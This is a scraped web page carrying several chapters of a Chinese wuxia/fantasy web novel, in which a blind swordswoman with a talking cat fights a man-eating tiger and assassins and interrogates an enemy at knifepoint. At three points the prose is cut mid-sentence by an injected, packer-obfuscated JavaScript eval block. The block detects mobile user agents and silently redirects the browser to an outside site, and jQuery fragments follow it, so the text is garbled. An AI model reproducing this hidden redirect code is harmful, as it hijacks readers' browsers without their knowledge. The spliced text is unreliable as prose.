“那人身上真的好多血,感觉衣裳全浸透了!”猫小声说,“但看他的脸色不怎么痛苦,肯定都是别人的血!”
“我们去的时候并没有见到尸体。”君无岐漫不经心地说,“那死的人都在哪呢?”
召南使劲嗅了几下,“不知道。但他肯定不是好人!不然我们还是溜吧,反正他给了珠子,够花好久的了。”
“我什么时候成那种言而无信的人了,说要把他带下山,就得带下山。”君无岐张嘴就来,“召南,切勿贪小利而忘大义,人生在世,诚信是……嗯?”
她忽然一偏头,“有动静。”
远处有几只飞鸟扑啦啦地飞上天空。
“毕公子!”她叫毕远,“你在何处?”
“嗯?”毕远尚未察觉到端倪,正疑惑着答应了一句,就见君无岐疾步赶来,一手按在他脸上。
“嘘。”她小声说,捂住毕远的嘴,“有人过来了。”
“……”毕远沉着道,“齐姑娘,那是我的眼睛。”
“抱歉。”君无岐松开手,毫无愧疚之情地道歉,“我们要不要先躲一下?”
“我觉得应该来不及。”毕远远远看到树影晃动,鸟兽奔逃,这帮人完全没有遮掩行踪的样子,正朝这边飞速赶来,“他们已经过来了。”
同一时刻,这两个人生出了同一个想法。
要不要先把他/她推出去?
君无岐还在犹豫,毕远残存的一点良知已经下了决定,毕竟一个瞎子功夫再好,送到一群高手中也是只有个死,还拖不了多长时间。
他凛然道,“齐姑娘,你先躲一躲,刀剑无眼,小心。”
君无岐没料到此人居然是个有良心的,顿时也把把他推出去的想法丢在脑后,安之若素道,“好。”
隔了几息又想起来在嘴上叮嘱一句,“毕公子,小心。”
心怀鬼胎的两个人在面上装得大义凛然,一副风萧萧兮命将去的架势,但一点也不妨碍君无岐遁走躲藏的速度。这人虽然双目失明,在找保命位置上却很有一手,很快就找到一个草窠藏了起来。
召南从她怀里钻出来,踩她腿上穿过草缝往那边看,“他到底图啥呢?又给你钱又不让你卖命,总不能就是个不求回报的好人吧?”
“说不定他就是呢。”君无岐回答得漫不经心,“你还不兴人家是个人傻钱多的好人了?”
“他哪里像了!”猫瞪她一眼,紧跟着想起她看不见,于是在她腿上踩了个梅花形状的爪印,“出来混江湖的,哪有什么好人!”
“哎哟,轻点。”君无岐拍了一下猫皮毛厚实的背,“你都知道还问我干嘛。”
“我又不像你似的那么缺德,别人打什么坏主意你一下就知道!”召南愤然道,“你肯定知道他想干嘛,还不快告诉我!”
“想知道就想知道,还骂我。”君无岐准确无误地一敲猫的脑门,“还能为啥,出来混的,不是图财图命,就是图人呗。”
“图人?”猫瞪大眼睛,“是看上你的脸了?虽然你确实有点姿色……但也不至于瞎子都能吃吧?”
“怎么说话呢。”君无岐不爽地揉猫,“图人就只能是为色?你也太肤浅了。”
“那还能是啥。”召南拱进她怀里,把自己肉垫放她手心,“告诉我嘛。”
君无岐很满意猫的识相,揉捏着它的爪垫玩,“他肯定是看出来我有武功了,只是大约还不确定我是哪门哪派,正准备试探我呢。”
外面传来刀剑相击的声音,时不时还有嘶吼和痛呼,然而此处的一人一猫仍不动如山。
“出手这么阔绰,那这东西上必定有点料。”她把那颗东珠拿出来,放在手心里一滚,“就是不知道是寻人,还是杀人的了。”
她手腕一翻,那颗光华璀璨,价值百金的东珠便已没入草丛,消失得干干净净,再也看不着了。
“本来还想挣点外快的,这下又泡汤了。”她哀叹,“这世道,挣钱真难。”
“扔都扔了,还想那么多干嘛。”召南翻她一眼,“外面好像安静了,出去看看?”
外面确已没了声音,不知道毕远是活着还是已经死了。君无岐拍拍袍子上的土,起身跟着召南从藏身处出来。
鞋子踩在还没干的树枝上,闷闷一声折断。
“齐姑娘。”有人低声唤她。
君无岐闻到了极其浓重的血腥味,现在没有下雨,那股味道便一直萦绕不散,令人想象出极其不适的画面
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14737967|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。召南的嗅觉更为灵敏,已经提前一步跳进筐里,坚决不肯冒出头来。
她的木杖扫到了一具尸体,换个方向,又是一具。
木杖点地时啪嗒啪嗒响,大约不是积水,是血。
“小心些,那边都是死人。”毕远脸上带着笑,几乎称得上是气定神闲地提醒她,“这次找到我踪迹的人有些多,见笑。”
这是见的哪门子笑。
君无岐不肯再走了,她停在原地,长长叹了口气。
“毕公子想必家底十分殷实,”她诚恳道,“不常干家务吧?”
毕远挑眉,“是又如何?”
“唉,你不懂我们小老百姓的痛。”君无岐又叹了口气,“衣服上沾了血,很难洗的。”
“……”毕远道,“你自己洗衣服?”
“不自己洗又能怎么办呢。”她说,“我是穷瞎子,又不是富瞎子。”
毕远几乎要被她逗笑了,他满怀看笑话的恶意,接着说道,“那你待如何?”
“这样吧。”君无岐很认真地说,“毕公子,我觉得我们不是一路人,要不就到此为止?”
啪。不知道为何,毕远手中的一根枝条折断了。他面无表情地问,“你要留下我独自下山?”
“您这话说的。”君无岐轻笑,“当然是您留下我,自己下山。”
这两者之间有任何区别吗?
“我的东珠呢。”毕远说,“还我。”
“出发前就跟您说好了呀。”君无岐露出洁白的牙,“定金不退的。”
她那颗尖尖的小虎牙压在嘴唇上,像个小钩子。
毕远盯着那颗虎牙,蓦然间想起一些往事,胸中不知道是被愚弄的怒火还是别的什么,堵在那里。他猛地绷直身体,不慎扯到背上的伤口,那声痛呼被他压住,生生又咽了回去,最后吐出来的只是冷冰冰的几个字。
“好,很好。”
“你走吧。”他说,“以后最好别再让我碰到你。”
君无岐没想到这场谈判这么容易,她蒙眼用的布条颤了颤,不知道是在眨眼睛还是怎么。她正转身欲走,毕远又像是忽然想起什么,叫住了她。
“你眼上的布。”他说,“摘下来,让我看一眼你的脸。”
君无岐停住了。
怪事。她心想。
怎么这两天遇见的人都这么关注她的脸?
正在犹豫之中,忽然耳朵捕捉到了什么动静。
窸窸窣窣,窸窸窣窣,不是人类发出的,反而更像是什么大型猛兽,发现了猎物,正在蓄势待发往这边走来……
她忽然想起那个一开始的问题。
毕远杀了那么多人,尸体都到哪去了?
“小心!”召南猛地从筐里窜出来,也顾不得伪装成什么普通猫咪,两只耳朵都压下去,爪子甚至开始微微地颤,“是老虎!”
不远处的山林中,一头体型巨大、足有一人高的吊睛猛虎正死死盯着这边,从喉咙中喷出闷雷似的怒吼,缓缓走来。
它的毛上还沾着尚未干涸的血迹,口中浓重的腥臭味昭示着到底吃了多少人。君无岐虽然看不见,但单凭味道也知道它的危险。她转过脸,轻轻开口。
“这时候就别关注我的脸了。”她说,“先想想怎么活下来吧。”
5. 照虹山(五)
这还用你说。毕远黑着脸想。
他刚打完一场,本就没好全的身体伤上加伤,此刻指尖都有点颤,但他藏在了袖子里,没让在场的任何一个生物看到。
“齐姑娘。”他僵着嗓子道,“恐怕我们必须得联手了。”
“……”君无岐缓缓道,“我想办法控制住它的行动,你看好时机就出手。”
她从袖中掏出几枚铜钱,信手向前一抛,铜钱形成一个阵法,恰恰围住猛虎。这方法简直立竿见影,那头老虎转眼就像看不见目标一样,在原地打起转来。
畜生身上的血腥味儿熏得君无岐难受,她强忍住捏住鼻子的冲动,朝记忆里的方向道,“这阵是临时布的,很粗糙,困不住它多久。”
已经起身不在原地的毕远,“……”
“我晓得了,齐姑娘。”他沉声说,“还请你退开一些。”
君无岐依言后退,一滴水从树叶尖坠落,沿着她后领口流了进去,冰得她一激灵。毕远出刀的声音像鸟在林中振翅,掩在猛兽受伤时震天的怒吼里,震落无数水滴,打湿她的头发,除此之外,还有一种很轻、很小的碰撞声响,像是金属与玉石相击。
看来毕远真的带了不止一把武器,但他从来没有用过。
此刻并不是探究这个的时候,君无岐顾不上自己湿漉漉的头发和衣服,凝神听着战局中的声响,临时用铜钱布的阵应该快要困不住老虎了。
这是茅山道法中的一种,名为僭阳阵,主要就是用来困住牲畜的,只是最好的布阵道具是生符和鸡喉,可惜她现在身上一个都没有。
她还带了什么东西,能临时一用的?
召南扒在她身上,想甩落身上的水又不敢,生怕又把水甩到她身上再挨一顿揍,此刻已经是忍得爪子发麻,见状赶忙提醒她,“纸人,还有纸人!”
对,还有纸人!
纸是个金贵东西,现在就算是掏空君无岐全部身家怕是也买不起几张,留着的纸人还是她很久以前做的,一直没机会派上用场。她往袖中一摸,在一堆鸡零狗碎里摸到几张卷起来的纸片。
这玩意做成之后不怕皱,也不怕水,展开后大概有一只手长,用了白、黄、红、蓝、紫、黑好几种颜色的纸粘在一起,单看外表不怎么好看。她把纸人捏在手里,也顾不上念太长的咒语,缩略道,“太微帝君,丹房守灵,驱邪辅正,震慑刀兵。去!”
纸人从她手中飞出落地,化作两个披甲执锐的高大将士,无论是铠甲还是武器样式都颇具古风。两人正向她行礼,君无岐道,“那有一头吃人恶虎,请将军助我击毙之!”
两个纸人二话不说就返身加入战局,恰在此时僭阳阵彻底失效,散落在地的铜钱像是遭受了什么无形之物的打击,嗡鸣着飞向四周,彻底变为普通钱币。老虎虽然受了毕远几刀,但仍威风不减,一掌拍断一棵小树,啸声如惊雷。
“毕公子!”君无岐看不见,只能朝有声音的方向道,“你还好吗?”
毕远何止是不好,他浑身鲜血淋漓,也分不出来到底是人血还是畜生血,只闻着一股冲鼻的腥味。
两个纸人的加入让他有了点喘息的功夫,压着粗喘答她,“还行。暂时死不了。”
此种境况,死不了就已经是个好消息了。君无岐心稍微放下来一点,手又开始往袖子里摸索,想能不能再找出点能用的东西。
“借星!借星!”召南小声在耳边提醒她,“用那个!”
“但没有铜钱了。”君无岐冷静道,“刚才撒出去的就是咱们全部的家当。”
召南一呆,差点就要扑地去把钱全捡回来,好在最后的理智阻止了它。
“别的呢?还有没有可以替代的东西?”它尾巴烦躁地甩来甩去,“我的毛,你的血,什么都行!”
“凭什么就你的毛我的血……”君无岐嘀咕一句,终于摸到了自己想要的东西,“对了,还有这个!”
她从袖子里又摸出一张符。
这是张五雷符,用途相当广泛,上能驱邪逐鬼,下能病痛皆消,全看使用者的能耐和用法。君无岐根据声音估摸着老虎在的方位,对召南说,“你去把这个贴在它身上。”
召南的耳朵慢慢压下去,“你怎么不直接让我去死?”
一人一猫正在默然间,旁边忽然传来一道声音,“我去吧。”
是毕远。
两个纸人缠斗住老虎,给了他一点休息恢复的余地,此刻又有了点精力。他离君无岐不近,但也不远,一双眼睛黑沉沉地望着她。
“你的猫不行,我可以。”他说,“需要做什么,只要贴它身上就行?”
君无岐难得怔了一下,犹豫着没立刻递出去,“是的,贴好后我来念咒……你确定吗?”
“齐姑娘,没时间拖了,那两个纸人不是它的对手。”毕远说,“给我吧。”
君无岐沉默几息,慢慢向前送出符咒。
一只手伸来接过了它,速度很快,没有碰到她。
“你要小心,不要碰水,不要用血污了它。”君无岐快速嘱咐道,“贴好立刻告诉我!”
“明白。”
毕远说第一个字时还离她不远,第二个字时已然飘至巨虎旁边。那两个纸人终究不是真正的猛将,此刻左右支绌,身上有些部位已经重新变化为纸样。毕远默念君无岐的嘱托,横刀格开老虎力不如前的前掌,返身跃上它的后背。
“吼——”老虎察觉到这个人类竟大胆至此,顿时咆哮出声,用力摇晃想让他摔下来。毕远跟随着那力道左右摇摆,一掌抓住它后背厚实得连刀都难以戳进的毛皮,固定自己,掏出符咒,狠狠拍在它后脑上!
“齐姑娘!”他厉喝,“就是现在!”
他灵巧地翻身下虎,那张符咒如有灵性般在虎头后面随风飞扬,却迟迟不掉。君无岐身随声动,听到毕远那一声喊便已掐左雷右霆诀,左手阳雷右手阴霆,雷、霆相合,阴阳激剥,又叫雷局,口中念道,“微妙真空,神霄赵公。驱雷掣电,走火行风。何神不伏。何鬼敢冲。吾今勃召,速出绛宫。急急如律令!”
速度快得差点舌头打结。
咒语刚念完最后一个字,就听见当空一道炸雷,动静之大能吓掉人三魂七魄,随即晴空之下凭空出现一道闪电,不偏不倚,正正劈在老虎身上!
“嗷呜!”这一下居然还没把它劈死,老虎惨叫一声,半个身子都成了焦炭,隐约可见皮下鲜红的血肉。它扭头一转,夹着尾巴,拖着乌黑的后腿钻进了丛林中。
两个纸人使命完成,重新化作手掌高的纸片,无火自焚,化成了飞灰。
“那畜生没死,一定是回窝里去了。”毕远沉声道,“这么多人它不可能全都吃完,必定还留了些口粮。齐姑娘,我预备随它回去将其彻底斩杀,我们就此别过吧。”
君无岐正蹲在地上摸索着找那几个铜板,当一个人成为穷光蛋的时候,每个救命钱都很珍贵。听闻此言,她轻笑,“毕公子准备一个人去?”
“是。”毕
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14737968|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
远默默过来与她一起捡铜板,“姑娘可是还有些话要说?”
“你一个人杀不了它。”君无岐笃定道,“就你这伤,怕是还没走一半血就流干了。”
毕远蹙眉,“可那畜生如今已开始食人,如不及时阻止,此后进山砍柴和打猎的百姓都很危险……”
君无岐把一根手指竖在唇前。
她指间和衣摆上都沾了泥,可奇异的是本人并无狼狈之相,大约是她行为举止都不畏缩,相当从容舒展,虽然一直念叨着钱财,却并不为财所困。她抓着木杖从地上站起来,数数捡拾到的铜板,挨个擦干净放入袖中,这才道,“你坐下,我与你治疗一下。”
毕远一愣,“姑娘还懂医道?”
君无岐摇摇头。
“只是些祝由术罢了,不能医及内里,待你下山后还是要寻医诊治。”她拍拍手,循着声音按住毕远肩膀,神情严肃起来,“放松,不要抗拒。”
毕远垂眼看她。
此时她几乎是毫无防备的状态,一刀便可取她性命,她那些来历不明的奇术、符咒便都可埋葬在此深林之中,从此就少一个令他头疼之事。
毕远的手掌握住剑鞘。
熟悉的冰凉纹路硌着掌心,他目光向上,看到面前之人线条流畅的下颌。
一颗尖尖的小虎牙在唇瓣中间若隐若现。
毕远手掌一松,剑鞘坠下,在腿上沉沉砸落。
不……还是再看看吧。他心想。
君无岐不知道他这一通复杂的心理活动,也不晓得刚刚自己差点被捅个对穿,听到对面人的气息逐渐平稳,她便一手捏玉清诀,开口念咒,“天地既判,五雷初分,三元悠列,八卦成形。人有病患,皆由五行,按病序药,方在皇农。先天有道,内循五脏,外平七情,人有诚念,无感不通。山有五岳,斗有七星,随我所指,诸症技穷。轩辕帝道,蚩尤避兵,速消速愈,顷刻通灵。急急如太上元始慈悲赦。”
祝由术是上古真人治病的方法,不用符和药,只需念咒,成效与否和施咒人的水平高低有很大关系。还好君无岐虽然算不上大师,但多少还是有些本领在,咒语念完,毕远身上的伤口就不再出血,虽然没有愈合,但暂时对行动的影响也没那么大了。
“走吧,我和你同去。”君无岐收势,“我虽目不可视,但也不是全然的废物,多少还是能帮上些忙。”
“姑娘已经帮了我大忙了。”毕远整理衣襟起身,“毕某无以为谢,一点身外之物,还请姑娘收下。”
一件冰凉凉的东西轻轻碰了下她的指尖。
君无岐握住,惊讶道,“这是……锞子?”
这东西大概只有手指长,铸成茶花形状,上面还刻了些字,大约就是些祝人健康平安之类的吉祥话,即使她看不见也摸得出来很是精美,其价值远远不止本身。更重要的是,这东西她曾见过,不止一次。
“我出门匆忙,什么也没带,这等物件就当给姑娘赏玩的,不值几个钱。”毕远道,“还望姑娘海涵,待我与家中会合,另有重谢。”
“也倒不必,这就很好。”君无岐下意识地将那枚金锞子握在掌心,回过神来才知道自己说了什么话,“呃,嗯,是的。”
毕远将她的反应看在眼中,心中疑惑,却没表露出来,只是如常道,“那我们就走吧,夜长梦多,还是尽快解决那头恶虎为好。”
“是,你说得对。”君无岐收好金锞子,抬头时已看不出任何异常。
“走吧。”
6. 照虹山(六)
那老虎很好追踪。
一是因为这家伙体沉如山,走一步一个脚印,在雨后松软的泥地上更为明显,二来它被劈焦的皮毛一路都在掉碎渣,时不时还挂在灌木上几缕,简直再显眼不过。
当然这是对于毕远而言,对君无岐来说……她老老实实跟着就好。
两人一前一后,穿过花草蓊郁的林间兽道,来到一片稀稀落落的小树林。
“好重的味。”君无岐皱眉,“这家伙一定吃了不少人。”
自打被毕远发现后召南也不装普通猫了,大大方方从竹筐里爬出来,趴在君无岐腮边,“等它把这些人吃净,它就会下山吃人了。”
“吃净?”君无岐手一顿,“原来它是留着尸体没吃完?”
“是啊,挂了一树呢。”召南说,“都是黑衣人,连个别色都没有。”
乍一看就像是树上长满了乌鸦,幽默中带着一丝晦气。
君无岐顿时觉得前方变得险恶起来,放慢了脚步。
“那畜生没在此处。”毕远不知道是真没听到还是装没听见她们的话,“脚印也断了,去哪了?”
空气中浮动着腐烂的气味,还混杂着几分古怪的味道。召南抽动着鼻子,面露困惑之色。
“好奇怪。”它小声说,“有种……我描述不出来的感觉。”
那味道像根细线,伸进脑子里拉扯着它的神经,让它难以控制地伸出了指甲,不是出于别的,而是为了自卫。猫难受地皱着鼻子,喉咙里发出低低的咆哮。
“是尸体,这些人都泡过药。”毕远神情严肃,“这些杀手不是一般人,是养的死士。”
“死……士?”君无岐拉长声音重复,“什么人家会养死士?”
她若有所指,“这些死士来照虹山又是为了什么?”
毕远静默片刻。
“抱歉,齐姑娘。”他淡声道,“他们是冲我来的。”
虽然这事他俩都心知肚明,但这么说出来还是让君无岐没想到。她眉毛一跳,“那他们又为什么要来截杀你?”
“这件事说起来有点复杂……”毕远一句话还未说完,突然听到一声虎啸,那只遍寻不到的猛虎正趴在一棵树上,朝他们呲出匕首似的尖牙。
烧焦的毛皮噼里啪啦地从它身上掉下,暴露出底下黄红分明的血肉和筋膜,看起来颇为瘆人。这老虎眼睛通红,不知道为何不愿离开,看样子是要和他们殊死搏斗一场。
来不及细想,这头庞然大物当头扑下!
两人同时向两个方向避开!
老虎重重坠地,看样子行动远没有之前灵活,两条后腿几乎废了,但并不影响它气势惊人。它见一击未中,明显有些焦躁,毫不犹豫地转身要去扑毕远。
看来它分得相当清楚,到底谁才是那个打伤它出力最多的人。
君无岐眼瞎手快,掷出一排铜钱,再度结了个僭阳阵,把伤虎困在里面。
一次困不住就再困一次,雷劈一道不死就再劈一道,次数多了,总能把这头畜生弄死。
她神态平和地又从袖子里掏出一张五雷咒,折好夹在指间,随时预备着动手。
来之前他们商量好的,再把之前的流程走一遍,雷劈不死就往死里劈。仅剩的两张雷符一张给了毕远,一张她自己留着备用。
她正凝神听着那边的动静,忽然颊边有风袭来,条件反射地一侧头,有什么东西擦着她的脸,哆一声钉在旁边的树上。
有人偷袭?
君无岐警觉侧身,又有破空声飞来,连着三枚暗器掠过她的衣服,撞在树上,或掉落在地。脸上传来丝缕痛感,好像有血涌出来,正顺着侧颊往下淌。她抬手一摸,果然是黏腻的手感,一股血腥味。
“呵呵呵,一介盲女,反应还挺快。”身后传来细声细气阴阳怪气的笑声,听起来像个捏着嗓子说话的男人,“有点能耐,居然杀了我这么多人。”
他似乎完全没把君无岐放在眼里,暗器没杀成就没杀成,也不再补刀了,转而去关心那边还在对付老虎的毕远。
“真是让我好找啊,庆熙王。”那人说话还是怪里怪气的,不知道是给阉了还是怎么,“落到这步田地了还惦记着带上个盲女,怎么,是瞎了的更有滋味?”
君无岐皱起眉。
庆熙王?
毕远是皇家的人?
她下意识地捏紧了符咒。
“来了……好多人……”召南听着不太清醒,迷迷瞪瞪地在她耳边说,“好多好多……乌鸦……”
乌鸦?是那伙不知道身份的黑衣人?
不等她捋明白如今状况,忽然虎吼声震天动地,其中夹杂一句毕远的清喝,“念咒!”
君无岐下意识地把符塞回袖子,捏着雷局,嘴皮子相当利索地念了遍请雷咒。一切仿佛方才的复现——晴空中突兀地出现了团乌云,一道炫目的电光当头劈下!
这次老虎甚至还没能闯出阵来,连躲避的余地都没有,霎时一声不吭地被劈成了块焦炭,直挺挺地倒在地上。
“这……这是奇术?”那怪声惊疑不定道,“庆熙王,你当真好大的本事!”
语毕已转为狠戾,“先杀那个女的!”
话音刚落,一道刀风直冲君无岐面上!
她仰面避过,肋下又闻三声震响,想必是这帮人根本不讲究什么手段面子,要她死,就要一齐动手。若只是个普通盲人,这一下想必当即就会被穿成个血葫芦,但很可惜,他们碰见的是君无岐。
刀尖穿透衣摆,看似她已避无可避,忽然一支木杖抽出,正正当当恰恰好好地敲在来人手腕上,长刀不受控制地卷走飞出,当啷啷一连串脆响,三把刀竟然全都搅在一块,卷成了个铁疙瘩!
徒留骤然失去了武器的三人站在原地,面面相觑。
咚!那团看不出原型的铁坨子砸在地上,溅起几滴未干的泥水。
君无岐左手握杖,气定神闲,“还有谁要来杀我?”
太监似的怪人气急败坏道,“这到底是哪里来的怪胎?!先前打探时怎么不说还有这么一号人?”
周围一圈黑乌鸦没人敢吱声。
“杨宏知,你们杨家不只是胆大包天,连手段都如此卑鄙下流。”另一侧毕远冷冷道,“你们不是冲我来的吗?怎的又要对一介盲女下手?”
“盲女?我可真不曾见过能一招夺三人武器的盲女!”杨宏知尖
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14737969|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
叫,“上,都给我上!他已经是穷途末路了,杀了他,把他的剑拿来!”
杨家?剑?
几个字在君无岐脑中飞速划过,难道是润西府的那个杨家?
润西虽然名字秀气,但此地民风彪悍,多出武林世家,杨家也在其中,但既排不上好名次,传出去的也不是什么好名声。最有名的一件事便是此前曾送了个族中子弟去一不知名老和尚身边学武,结果那人是个游方骗子,哄着小孩自宫了不说,还卷走了所有的钱财,乃是武林一大乐事。
这说话跟捏着嗓子似的杨宏知,应该就是当年那个被骗自宫的小孩了。
可他们自打出了那件丑事后就很少在外走动,怎么会忽然对上庆熙王,还要来夺他的剑?
庆熙王虽然只是个郡王,但到底算是皇室宗亲,除非脑子犯了抽,她真的不知道有什么必要要来找这个霉头。
难道杨家就不怕安事镇正司?
电光火石间,她又想起那个嗓音粗哑的济安镇正卫。
或者说,这件事本来就是安事镇正司默认或促使的?那个女使是得到了什么消息来阻止?
可堂堂朝廷机构,为什么忽然要跟一个郡王过不去?
这件事无论从哪个角度思考都颇为怪异,君无岐眉心紧皱,不太想掺和进这摊子破事,心念一动,往后退了一步,准备开溜。
不过萍水相逢,何必呢。
只可惜刚退了几步,就听到有说话声在身侧幽幽响起,很近,不是杨宏知,比他更粗哑,“这位姑娘,你要上哪去?”
君无岐背后出了一层冷汗。
她没听到这里有人!
但心里的惊愕脸上一点都没表露出来,她微微侧头,仍是那副从容镇定的模样,“刀剑和我都没长眼睛,我且先避一避。”
“你这小女子倒有些意思。”那人大笑,“看来庆熙王不是你的情郎?”
“阁下说的什么话。”君无岐反驳,“我等鄙陋之姿,怎么配得上郡王殿下。”
“哈哈哈,你倒也不必妄自菲薄,虽然眼瞎,但看你鼻子嘴巴也还算入得了眼。”那人兴致勃勃道,“要不要跟我?”
什么?话题到底是怎么跳到这里的?
君无岐虽然看不见,但对自己的脸还是有点概念,这些年在外漂泊,也不是没遇到过自荐枕席的,但这人无论是说话方式还是语气都令她颇为讨厌。
她不动声色道,“敢问阁下高姓大名?”
那人自傲道,“在下行不更名坐不改姓,润西府郦家郦英华是也!”
君无岐手指一颤。
这点动静极其微小,甚至都引不起任何人注意,只有她自己知道心里掀起了多么恐怖的惊涛骇浪,面上的表情在那一刻都已经凝固成了石头。她听见自己语气不变,好像只是再单纯不过的好奇。
“郦家?那郦玉成是你什么人?”
“你知道郦玉成?”郦英华惊讶道,“那是我伯父!”
轰。有巨石滚落,梗在心口,一时间竟然让她喘不过气来。但她的脸上却露出了微笑,轻柔,缥缈,像山林中那缕飘荡的晨雾。
找到了。她想。
郦家。
7. 照虹山(七)
既然是姓郦的,那气息未被察觉便也正常了。郦家有门独家匿气功夫,乃是家中子弟的必修技能,专为行走江湖所使,很是好用。
“可……郦家为什么要参与谋害宗亲?”君无岐面露犹疑,“要不还是……”
“你这小女子怎生恁多废话!”郦英华不耐烦了,“叫你跟我走你跟着便是!”
“但是庆熙郡王……”君无岐一句话还没说完,郦英华便伸手来拉她,他似乎根本不在意她是不是个瞎子,能不能看到路,拖着她任由她踉踉跄跄。
竹筐里的召南被晃醒了,要扒着边沿往外看,让君无岐一下给按了回去。
“要去哪?”她问。
“就这吧,我先爽一把,再去看那小王爷死了没。”郦英华搓着手兴奋道,迫不及待地往她身边凑,“过来,把你带子解了,让爷看看你的全脸。”
君无岐抬手按在他腰腹上,语气轻柔,“这没人了吗?”
“害羞?当然没人了……呃!”
尾音还没坠地,忽然腰上一股大力往前一扯,紧跟着侧腹就是穿刺般的疼痛。郦英华还没反应过来发生了什么事,颤抖着低头一看,只见他那柄挂在腰上只为好看的短剑不知何时已经到了这个盲女手上,此时已如刀切豆腐般穿进了他的身体。
那尖锐的刺痛带着死亡气息,几乎是瞬间就打倒了这个锦绣堆里养出来的公子哥。他甚至都没有试图反抗,全身提起的那股劲力便已经泄了,支撑不住地靠在身后树上。
“嘘,嘘,嘘。不要叫。”君无岐仍在微笑着,准确无误地摁着他的嘴,另一只手还握着那柄短剑,正在一种缓慢但是折磨的方式转动着剑身,“我问,你就答,多说一个字,我就在你身上再开一个窟窿,懂吗?”
郦英华忙不迭地点头。
“郦家怎么会派你这种废物出来,当真也是没人了。”君无岐嘀咕着,提高了一点声调,“郦玉成现在在哪?”
“我,我不知道啊!”她的手松开了一点,郦英华颤抖的声音从缝隙里泄出来,“大伯父的行踪我们怎么能知道,他一直都是来无影去无踪的啊!”
君无岐皱起一点眉,“那郦承望呢?他那个废物儿子!”
“大堂哥?那我就更不知道了呀。”郦英华满面颓丧,“大伯父对他像看眼珠子似的,好像是说一直在什么地方修炼吧……”
君无岐低着头,虽然看不到眼睛,但他还是有种被猛兽盯上的感觉,打了个寒战,赶紧把自己知道的信息都往外抖擞。
“不过最近有消息说他修炼有成了,大伯父正预备让他风光亮相来着!”
君无岐从鼻子里哼出一声嗤笑。
“快三十才终于能出来见人了……郦玉成是不是还准备说是他儿子大器晚成啊?”
郦英华再蠢也能听出来眼前的人是和郦玉成有仇,但实话说他大伯父这些年私底下干的事,光小辈们有所耳闻的就数不胜数,实在不知道是谁家苦主,更何况他几乎对她一无所知,根本无从下手打动她放了自己。
看到她蒙眼用的布巾,他忽然以为猜到了缘由,自作聪明道,“这位姑娘,莫不是我伯父以前失手害了你的眼睛?你放心,我们家别的不多,就是钱和人脉不少,一定想办法给你把眼睛治好,你能不能先放了我……”
君无岐忽然古怪地笑了一声,令人毛骨悚然。
“真是个小蠢货。”她不再按着郦英华的嘴了,在他脸上不轻不重地拍了几下,“你是谁家的孩子?郦玉海?还是郦玉林?”
这人当真对他家了如指掌,郦英华哆嗦着回答,“我……我爹是郦玉存……”
空气静止了。
似乎是过了一息,或者一刻钟,郦英华惊恐瞪大了双眼,因为那柄短剑抽了出来,此时就悬在他的脸上,剑尖上未干的血顺着往下滴,一滴,一滴,那是他自己的血,正平稳地坠在他额头上,再顺着腮边往下流。
“你不老实。”君无岐好像在自言自语,“接下来捅哪里好呢。”
“我没……我没说谎!”郦英华几乎要抖得站不住,“真是他……真是!”
短剑坠落,在他痛呼发出的前一秒那只冰冷的手又捂住了他的嘴,这次穿透的是手背。
“郦玉存早就死了。”她笑吟吟地说,“他只有女儿,没有儿子,你是从哪里冒出来的?”
郦英华眼珠暴突,在极度痛苦和恐惧的一瞬间里,他终于猜出了面前之人的身份,两片嘴唇在铁箍般的手掌下艰难翕动,“你是……你是他的……”
“嘘。”君无岐用沾血的手扣住他下巴,“那么下一个问题,你为什么要跟着杨家来这里?”
郦英华脑子里还是一团糨糊,不是说郦玉存家的女儿死了吗?怎么会……手背上的剧痛提醒他此时还在审问中,赶忙把自己知道的都竹筒倒豆子般倒出来。
“是伯父!他想要庆熙王的那柄剑!”他自以为大声,实则如同低喃般道,“我不知道为什么……但据说,据说只要拿到那柄剑,大堂兄就能成为绝世高手!”
“什么屁话。”君无岐嗤笑,“所以杨家其实是听郦玉成驱使?”
“是的!”郦英华眼前开始发黑,但还是坚持着点头,“我也不知道许给了他们什么好处,但他们确实卖力。这次,这次我其实是想出来跟着挣点功劳……”
“被人卖了都不知道吧。截杀郡王,除了蠢货谁会上赶着干这事。”君无岐猜到了他的想法,这废物怕不是以为这一趟只需要跟着杨家作威作福,临了拿了剑就能回去复命,是趟一顶一的好差事,却全然不曾想过谋害宗亲是个什么罪名,从他们身上夺宝又是什么难度。
她松开手,任由郦英华没骨头似的瘫软在地。
“这么说其实全然是江湖中事,北门为什么还掺和了一脚,你知道吗?”
“北门?”郦英华懵然瞪眼,“我……我不知道……”
